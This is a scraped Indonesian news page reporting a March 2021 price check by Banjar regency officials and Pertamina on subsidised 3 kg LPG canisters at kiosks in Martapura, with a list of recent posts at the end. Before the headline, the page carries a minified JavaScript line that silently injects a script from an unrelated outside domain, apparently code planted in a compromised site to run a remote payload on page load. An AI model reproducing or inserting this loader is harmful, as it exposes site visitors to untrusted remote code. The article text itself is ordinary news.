(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Petugas Hanya Cek Harga LPG 3 Kg di Warung Pengecer


KANALKALIMANTAN.COM, MARTAPURA – Pemilik kios pengecer LPG 3 Kg di Jalan Sukaramai, Martapura, dibikin terkejut.

Yusnaswa, pedagang eceran gas melon mengaku terkejut atas cek dadakan yang dilakukan di tempatnya berjualan. “Saya kira ada apa gitu, ternyata hanya sosialisasi saja,” akunya.

Ya, Kamis (4/3/2021) siang, Dinas Perindustrian dan Perdagangan (Disperindag) Kabupaten Banjar bersama PT Pertamina dan Satpol PP bersama Satgas Pangan melakukan cek harga LPG 3 Kg bersubsidi di beberapa warung serta pangkalan.

“Kalau merata semuanya harus tidak boleh lagi menjual gas 3 kilogram, ya saya sangat setuju, tetapi kalau tidak merata saya tidak setuju,” aku Yusnswa kepada Kanalkalimantan.com.

Dia juga mengatakan, dia menjual tabung gas melon sendiri berubah-ubah tidak menentu harganya.

“Kalau pelangsiranya murah, murah juga saya jual, kalau mahal, ya mahal juga, tetapi sangat jarang saya menjual mahal,” jelasnya.

Tim gabungan ini melakukan cek harga ke sejumlah kios di Jalan Suka Ramai Martapura, Jalan Melati Tunggul Irang dan Jalan Ahmad Yani Km 48 Desa Pingaran Ilir, Kecamatan Astambul.

Sesuai dengan Peraturan Presiden No 104 tahun 2007 dan Peraturan Menteri ESDM No. 26 tahun 2009 tentang penyediaan dan pendistribusian LPG 3 kg serta surat edaran Gubernur Kalimantan Selatan tentang penggunaan LPG 3 Kg.

Kepala Disperindag Banjar I Gusti Made Suryawati mengatakan, cek harga di lapangan bertujuan untuk kelancaran pendistribusian LPG kepada masyarakat tak mampu atau yang membutuhkan, sehingga tepat sasaran.

“Kita sudah menyisir warung-warung yang menjual LPG 3 Kg dengan rentang harga 30-35 ribu per tabung di Jalan Suka Ramai hingga ke pangkalan H Jairin, dimana ada informasi bahwa pangkalan tersebut menjual ke warung-warung,” sebut Kadisperindag Banjar.

Sementara, Sales Branch Manager 6 Pertamina Kalselteng Fajar Wasis menjelaskan, tindak lanjut dari pengecer nantinya LPG 3 Kg bersubsidi yang dijual akan ditukar dengan LPG 5,5 Kg.

“Tabung 3 Kg nanti akan dikonversi menjadi beberapa tabung 5,5 Kg,” kata Fajar Wasis.

Fajar Wasis menambahkan, untuk penyalahgunaan di pangkalan, seperti harga jual tidak sesuai dengan harga eceran tertinggi akan diberikan sanksi keras berupan Pemutusan Hubungan Usaha (PHU).

“Kita langsung tindak tegas penyalahgunaan di pangkalan karena meresahkan masyarakat, kami dari Pertamina juga mengajak masyarakat untuk terus mengawasi pendistribusian LPG bersubsidi agar tepat sasaran,” tambahnya. (kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Bie

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.